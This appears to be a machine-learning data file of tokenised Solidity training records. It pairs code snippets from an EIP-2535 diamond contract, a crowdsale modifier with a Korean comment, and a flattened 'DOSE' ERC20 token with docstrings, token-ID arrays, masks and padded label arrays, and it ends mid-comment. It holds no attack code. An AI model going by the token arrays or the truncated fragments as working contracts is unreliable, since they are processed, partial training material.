0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
443,
1724,
9791,
17631,
1060,
12,
11890,
10392,
389,
8949,
13,
3903,
1338,
5541,
288,
203,
3639,
1147,
18,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
203,
3639,
5976,
5157,
774,
27483,
1011,
389,
8949,
31,
203,
203,
3639,
3626,
4019,
538,
305,
9791,
17631,
1060,
12,
3576,
18,
15330,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/******************************************************************************\
* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)
* EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535
*
* Implementation of a diamond.
/******************************************************************************/
import {LibDiamond} from "./libraries/LibDiamond.sol";
import {IDiamondCut} from "./interfaces/IDiamondCut.sol";
import {AppStorage} from "./libraries/LibAppStorage.sol";
contract MerkleDiamond {
AppStorage internal s;
constructor(
address _contractOwner,
address _diamondCutFacet,
address _tokenContract
) payable {
LibDiamond.setContractOwner(_contractOwner);
s.tokenContract = _tokenContract;
// Add the diamondCut external function from the diamondCutFacet
IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);
bytes4[] memory functionSelectors = new bytes4[](1);
functionSelectors[0] = IDiamondCut.diamondCut.selector;
cut[0] = IDiamondCut.FacetCut({facetAddress: _diamondCutFacet, action: IDiamondCut.FacetCutAction.Add, functionSelectors: functionSelectors});
LibDiamond.diamondCut(cut, address(0), "");
}
// Find facet for function that is called and execute the
// function if a facet is found and return any value.
fallback() external payable {
LibDiamond.DiamondStorage storage ds;
bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := position
}
address facet = address(bytes20(ds.facets[msg.sig]));
require(facet != address(0), "Diamond: Function does not exist");
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
receive() external payable {}
}
|
Add the diamondCut external function from the diamondCutFacet
|
) payable {
LibDiamond.setContractOwner(_contractOwner);
s.tokenContract = _tokenContract;
IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);
bytes4[] memory functionSelectors = new bytes4[](1);
functionSelectors[0] = IDiamondCut.diamondCut.selector;
LibDiamond.diamondCut(cut, address(0), "");
}
| 12,890,534 |
[
1,
986,
326,
4314,
301,
1434,
15812,
3903,
445,
628,
326,
4314,
301,
1434,
15812,
11137,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
8843,
429,
288,
203,
3639,
10560,
14521,
301,
1434,
18,
542,
8924,
5541,
24899,
16351,
5541,
1769,
203,
3639,
272,
18,
2316,
8924,
273,
389,
2316,
8924,
31,
203,
3639,
1599,
29401,
1434,
15812,
18,
11137,
15812,
8526,
3778,
6391,
273,
394,
1599,
29401,
1434,
15812,
18,
11137,
15812,
8526,
12,
21,
1769,
203,
3639,
1731,
24,
8526,
3778,
445,
19277,
273,
394,
1731,
24,
8526,
12,
21,
1769,
203,
3639,
445,
19277,
63,
20,
65,
273,
1599,
29401,
1434,
15812,
18,
3211,
301,
1434,
15812,
18,
9663,
31,
203,
3639,
10560,
14521,
301,
1434,
18,
3211,
301,
1434,
15812,
12,
5150,
16,
1758,
12,
20,
3631,
1408,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4e9bBd716E045D2bA93a0cdf0e7aF7F34B9a4745/sources/CbmToken.sol
|
* @dev 크라우드 세일 진행 중에만 동작하도록 제한하고, APIS의 가격도 설정되어야만 한다./
|
modifier onSale() {
require(now >= startTime);
require(now < endTime);
require(closed == false);
require(priceOfApisPerFund > 0);
require(fundingGoalCurrent > 0);
_;
}
| 2,643,882 |
[
1,
174,
228,
110,
172,
256,
125,
173,
253,
113,
172,
246,
255,
225,
173,
231,
121,
173,
256,
125,
225,
173,
105,
231,
174,
249,
236,
225,
173,
102,
244,
173,
250,
243,
172,
105,
239,
225,
172,
242,
252,
173,
257,
244,
174,
248,
251,
172,
242,
231,
172,
99,
256,
225,
173,
259,
255,
174,
248,
255,
174,
248,
251,
171,
116,
259,
16,
1491,
55,
173,
256,
251,
225,
171,
113,
227,
171,
115,
107,
172,
242,
231,
225,
173,
231,
102,
173,
259,
248,
172,
243,
251,
173,
249,
117,
173,
248,
125,
172,
105,
239,
225,
174,
248,
255,
172,
238,
102,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
603,
30746,
1435,
288,
203,
3639,
2583,
12,
3338,
1545,
8657,
1769,
203,
3639,
2583,
12,
3338,
411,
13859,
1769,
203,
3639,
2583,
12,
12204,
422,
629,
1769,
203,
3639,
2583,
12,
8694,
951,
1294,
291,
2173,
42,
1074,
405,
374,
1769,
203,
3639,
2583,
12,
74,
14351,
27716,
3935,
405,
374,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
import "@animoca/ethereum-contracts-assets/contracts/token/ERC20/ERC20.sol";
/**
* @title DOSE
*/
contract DOSE is ERC20 {
constructor(
address[] memory recipients,
uint256[] memory values,
string memory tokenURI_
) ERC20("DOSE", "DOSE", 18, tokenURI_) {
_batchMint(recipients, values);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
import {ManagedIdentity} from "@animoca/ethereum-contracts-core-1.1.1/contracts/metatx/ManagedIdentity.sol";
import {IERC165} from "@animoca/ethereum-contracts-core-1.1.1/contracts/introspection/IERC165.sol";
import {AddressIsContract} from "@animoca/ethereum-contracts-core-1.1.1/contracts/utils/types/AddressIsContract.sol";
import {IERC20} from "./IERC20.sol";
import {IERC20Detailed} from "./IERC20Detailed.sol";
import {IERC20Allowance} from "./IERC20Allowance.sol";
import {IERC20SafeTransfers} from "./IERC20SafeTransfers.sol";
import {IERC20BatchTransfers} from "./IERC20BatchTransfers.sol";
import {IERC20Metadata} from "./IERC20Metadata.sol";
import {IERC20Permit} from "./IERC20Permit.sol";
import {IERC20Receiver} from "./IERC20Receiver.sol";
/**
* @title ERC20 Fungible Token Contract.
*/
abstract contract ERC20 is
ManagedIdentity,
IERC165,
IERC20,
IERC20Detailed,
IERC20Metadata,
IERC20Allowance,
IERC20BatchTransfers,
IERC20SafeTransfers,
IERC20Permit
{
using AddressIsContract for address;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 internal constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
uint256 public immutable deploymentChainId;
// solhint-disable-next-line var-name-mixedcase
bytes32 internal immutable _DOMAIN_SEPARATOR;
mapping(address => uint256) public override nonces;
string internal _name;
string internal _symbol;
uint8 internal immutable _decimals;
string internal _tokenURI;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
string memory tokenURI_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_tokenURI = tokenURI_;
uint256 chainId;
assembly {
chainId := chainid()
}
deploymentChainId = chainId;
_DOMAIN_SEPARATOR = _calculateDomainSeparator(chainId, bytes(name_));
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() public view override returns (bytes32) {
uint256 chainId;
assembly {
chainId := chainid()
}
// recompute the domain separator in case of fork and chainid update
return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId, bytes(_name));
}
function _calculateDomainSeparator(uint256 chainId, bytes memory name_) private view returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(name_),
keccak256("1"),
chainId,
address(this)
)
);
}
/////////////////////////////////////////// ERC165 ///////////////////////////////////////
/// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IERC165).interfaceId ||
interfaceId == type(IERC20).interfaceId ||
interfaceId == type(IERC20Detailed).interfaceId ||
interfaceId == type(IERC20Metadata).interfaceId ||
interfaceId == type(IERC20Allowance).interfaceId ||
interfaceId == type(IERC20BatchTransfers).interfaceId ||
interfaceId == type(IERC20SafeTransfers).interfaceId ||
interfaceId == type(IERC20Permit).interfaceId;
}
/////////////////////////////////////////// ERC20Detailed ///////////////////////////////////////
/// @dev See {IERC20Detailed-name}.
function name() external view override returns (string memory) {
return _name;
}
/// @dev See {IERC20Detailed-symbol}.
function symbol() external view override returns (string memory) {
return _symbol;
}
/// @dev See {IERC20Detailed-decimals}.
function decimals() external view override returns (uint8) {
return _decimals;
}
/////////////////////////////////////////// ERC20Metadata ///////////////////////////////////////
/// @dev See {IERC20Metadata-tokenURI}.
function tokenURI() external view override returns (string memory) {
return _tokenURI;
}
/////////////////////////////////////////// ERC20 ///////////////////////////////////////
/// @dev See {IERC20-totalSupply}.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/// @dev See {IERC20-balanceOf}.
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
/// @dev See {IERC20-allowance}.
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/// @dev See {IERC20-approve}.
function approve(address spender, uint256 value) external virtual override returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
/////////////////////////////////////////// ERC20 Allowance ///////////////////////////////////////
/// @dev See {IERC20Allowance-increaseAllowance}.
function increaseAllowance(address spender, uint256 addedValue) external virtual override returns (bool) {
require(spender != address(0), "ERC20: zero address spender");
address owner = _msgSender();
uint256 allowance_ = _allowances[owner][spender];
if (addedValue != 0) {
uint256 newAllowance = allowance_ + addedValue;
require(newAllowance > allowance_, "ERC20: allowance overflow");
_allowances[owner][spender] = newAllowance;
allowance_ = newAllowance;
}
emit Approval(owner, spender, allowance_);
return true;
}
/// @dev See {IERC20Allowance-decreaseAllowance}.
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual override returns (bool) {
require(spender != address(0), "ERC20: zero address spender");
_decreaseAllowance(_msgSender(), spender, subtractedValue);
return true;
}
/// @dev See {IERC20-transfer}.
function transfer(address to, uint256 value) external virtual override returns (bool) {
_transfer(_msgSender(), to, value);
return true;
}
/// @dev See {IERC20-transferFrom}.
function transferFrom(
address from,
address to,
uint256 value
) external virtual override returns (bool) {
_transferFrom(_msgSender(), from, to, value);
return true;
}
/////////////////////////////////////////// ERC20MultiTransfer ///////////////////////////////////////
/// @dev See {IERC20MultiTransfer-multiTransfer(address[],uint256[])}.
function batchTransfer(address[] calldata recipients, uint256[] calldata values) external virtual override returns (bool) {
uint256 length = recipients.length;
require(length == values.length, "ERC20: inconsistent arrays");
address sender = _msgSender();
uint256 balance = _balances[sender];
uint256 totalValue;
uint256 selfTransferTotalValue;
for (uint256 i; i != length; ++i) {
address to = recipients[i];
require(to != address(0), "ERC20: to zero address");
uint256 value = values[i];
if (value != 0) {
uint256 newTotalValue = totalValue + value;
require(newTotalValue > totalValue, "ERC20: values overflow");
totalValue = newTotalValue;
if (sender != to) {
_balances[to] += value;
} else {
require(value <= balance, "ERC20: insufficient balance");
selfTransferTotalValue += value; // cannot overflow as 'selfTransferTotalValue <= totalValue' is always true
}
}
emit Transfer(sender, to, value);
}
if (totalValue != 0 && totalValue != selfTransferTotalValue) {
uint256 newBalance = balance - totalValue;
require(newBalance < balance, "ERC20: insufficient balance"); // balance must be sufficient, including self-transfers
_balances[sender] = newBalance + selfTransferTotalValue; // do not deduct self-transfers from the sender balance
}
return true;
}
/// @dev See {IERC20MultiTransfer-multiTransferFrom(address,address[],uint256[])}.
function batchTransferFrom(
address from,
address[] calldata recipients,
uint256[] calldata values
) external virtual override returns (bool) {
uint256 length = recipients.length;
require(length == values.length, "ERC20: inconsistent arrays");
uint256 balance = _balances[from];
uint256 totalValue;
uint256 selfTransferTotalValue;
for (uint256 i; i != length; ++i) {
address to = recipients[i];
require(to != address(0), "ERC20: to zero address");
uint256 value = values[i];
if (value != 0) {
uint256 newTotalValue = totalValue + value;
require(newTotalValue > totalValue, "ERC20: values overflow");
totalValue = newTotalValue;
if (from != to) {
_balances[to] += value;
} else {
require(value <= balance, "ERC20: insufficient balance");
selfTransferTotalValue += value; // cannot overflow as 'selfTransferTotalValue <= totalValue' is always true
}
}
emit Transfer(from, to, value);
}
if (totalValue != 0 && totalValue != selfTransferTotalValue) {
uint256 newBalance = balance - totalValue;
require(newBalance < balance, "ERC20: insufficient balance"); // balance must be sufficient, including self-transfers
_balances[from] = newBalance + selfTransferTotalValue; // do not deduct self-transfers from the sender balance
}
address sender = _msgSender();
if (from != sender) {
_decreaseAllowance(from, sender, totalValue);
}
return true;
}
/////////////////////////////////////////// ERC20SafeTransfers ///////////////////////////////////////
/// @dev See {IERC20Safe-safeTransfer(address,uint256,bytes)}.
function safeTransfer(
address to,
uint256 amount,
bytes calldata data
) external virtual override returns (bool) {
address sender = _msgSender();
_transfer(sender, to, amount);
if (to.isContract()) {
require(IERC20Receiver(to).onERC20Received(sender, sender, amount, data) == type(IERC20Receiver).interfaceId, "ERC20: transfer refused");
}
return true;
}
/// @dev See {IERC20Safe-safeTransferFrom(address,address,uint256,bytes)}.
function safeTransferFrom(
address from,
address to,
uint256 amount,
bytes calldata data
) external virtual override returns (bool) {
address sender = _msgSender();
_transferFrom(sender, from, to, amount);
if (to.isContract()) {
require(IERC20Receiver(to).onERC20Received(sender, from, amount, data) == type(IERC20Receiver).interfaceId, "ERC20: transfer refused");
}
return true;
}
/////////////////////////////////////////// ERC20Permit ///////////////////////////////////////
/// @dev See {IERC2612-permit(address,address,uint256,uint256,uint8,bytes32,bytes32)}.
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override {
require(owner != address(0), "ERC20: zero address owner");
require(block.timestamp <= deadline, "ERC20: expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer == owner, "ERC20: invalid permit");
_approve(owner, spender, value);
}
/////////////////////////////////////////// Internal Functions ///////////////////////////////////////
function _approve(
address owner,
address spender,
uint256 value
) internal {
require(spender != address(0), "ERC20: zero address spender");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _decreaseAllowance(
address owner,
address spender,
uint256 subtractedValue
) internal {
uint256 allowance_ = _allowances[owner][spender];
if (allowance_ != type(uint256).max && subtractedValue != 0) {
// save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
uint256 newAllowance = allowance_ - subtractedValue;
require(newAllowance < allowance_, "ERC20: insufficient allowance");
_allowances[owner][spender] = newAllowance;
allowance_ = newAllowance;
}
emit Approval(owner, spender, allowance_);
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual {
require(to != address(0), "ERC20: to zero address");
if (value != 0) {
uint256 balance = _balances[from];
uint256 newBalance = balance - value;
require(newBalance < balance, "ERC20: insufficient balance");
if (from != to) {
_balances[from] = newBalance;
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _transferFrom(
address sender,
address from,
address to,
uint256 value
) internal {
_transfer(from, to, value);
if (from != sender) {
_decreaseAllowance(from, sender, value);
}
}
function _mint(address to, uint256 value) internal virtual {
require(to != address(0), "ERC20: zero address");
uint256 supply = _totalSupply;
if (value != 0) {
uint256 newSupply = supply + value;
require(newSupply > supply, "ERC20: supply overflow");
_totalSupply = newSupply;
_balances[to] += value; // balance cannot overflow if supply does not
}
emit Transfer(address(0), to, value);
}
function _batchMint(address[] memory recipients, uint256[] memory values) internal virtual {
uint256 length = recipients.length;
require(length == values.length, "ERC20: inconsistent arrays");
uint256 totalValue;
for (uint256 i; i != length; ++i) {
address to = recipients[i];
require(to != address(0), "ERC20: zero address");
uint256 value = values[i];
if (value != 0) {
uint256 newTotalValue = totalValue + value;
require(newTotalValue > totalValue, "ERC20: values overflow");
totalValue = newTotalValue;
_balances[to] += value; // balance cannot overflow if supply does not
}
emit Transfer(address(0), to, value);
}
if (totalValue != 0) {
uint256 supply = _totalSupply;
uint256 newSupply = supply + totalValue;
require(newSupply > supply, "ERC20: supply overflow");
_totalSupply = newSupply;
}
}
function _burn(address from, uint256 value) internal virtual {
if (value != 0) {
uint256 balance = _balances[from];
uint256 newBalance = balance - value;
require(newBalance < balance, "ERC20: insufficient balance");
_balances[from] = newBalance;
_totalSupply -= value; // will not underflow if balance does not
}
emit Transfer(from, address(0), value);
}
function _burnFrom(address from, uint256 value) internal virtual {
_burn(from, value);
address sender = _msgSender();
if (from != sender) {
_decreaseAllowance(from, sender, value);
}
}
function _batchBurnFrom(address[] memory owners, uint256[] memory values) internal virtual {
uint256 length = owners.length;
require(length == values.length, "ERC20: inconsistent arrays");
address sender = _msgSender();
uint256 totalValue;
for (uint256 i; i != length; ++i) {
address from = owners[i];
uint256 value = values[i];
if (value != 0) {
uint256 balance = _balances[from];
uint256 newBalance = balance - value;
require(newBalance < balance, "ERC20: insufficient balance");
_balances[from] = newBalance;
totalValue += value; // totalValue cannot overflow if the individual balances do not underflow
}
emit Transfer(from, address(0), value);
if (from != sender) {
_decreaseAllowance(from, sender, value);
}
}
if (totalValue != 0) {
_totalSupply -= totalValue; // _totalSupply cannot underfow as balances do not underflow
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/*
* Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner.
*/
abstract contract ManagedIdentity {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// Partially derived from OpenZeppelin:
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/406c83649bd6169fc1b578e08506d78f0873b276/contracts/utils/Address.sol
pragma solidity >=0.7.6 <0.8.0;
/**
* @dev Upgrades the address type to check if it is a contract.
*/
library AddressIsContract {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, basic interface
* @dev See https://eips.ethereum.org/EIPS/eip-20
* Note: The ERC-165 identifier for this interface is 0x36372b07.
*/
interface IERC20 {
/**
* @dev Emitted when tokens are transferred, including zero value transfers.
* @param _from The account where the transferred tokens are withdrawn from.
* @param _to The account where the transferred tokens are deposited to.
* @param _value The amount of tokens being transferred.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev Emitted when a successful call to {IERC20-approve(address,uint256)} is made.
* @param _owner The account granting an allowance to `_spender`.
* @param _spender The account being granted an allowance from `_owner`.
* @param _value The allowance amount being granted.
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @notice Returns the total token supply.
* @return The total token supply.
*/
function totalSupply() external view returns (uint256);
/**
* @notice Returns the account balance of another account with address `owner`.
* @param owner The account whose balance will be returned.
* @return The account balance of another account with address `owner`.
*/
function balanceOf(address owner) external view returns (uint256);
/**
* Transfers `value` amount of tokens to address `to`.
* @dev Reverts if `to` is the zero address.
* @dev Reverts if the sender does not have enough balance.
* @dev Emits an {IERC20-Transfer} event.
* @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event.
* @param to The receiver account.
* @param value The amount of tokens to transfer.
* @return True if the transfer succeeds, false otherwise.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @notice Transfers `value` amount of tokens from address `from` to address `to` via the approval mechanism.
* @dev Reverts if `to` is the zero address.
* @dev Reverts if the sender is not `from` and has not been approved by `from` for at least `value`.
* @dev Reverts if `from` does not have at least `value` of balance.
* @dev Emits an {IERC20-Transfer} event.
* @dev Transfers of 0 values are treated as normal transfers and fire the {IERC20-Transfer} event.
* @param from The emitter account.
* @param to The receiver account.
* @param value The amount of tokens to transfer.
* @return True if the transfer succeeds, false otherwise.
*/
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
/**
* Sets `value` as the allowance from the caller to `spender`.
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
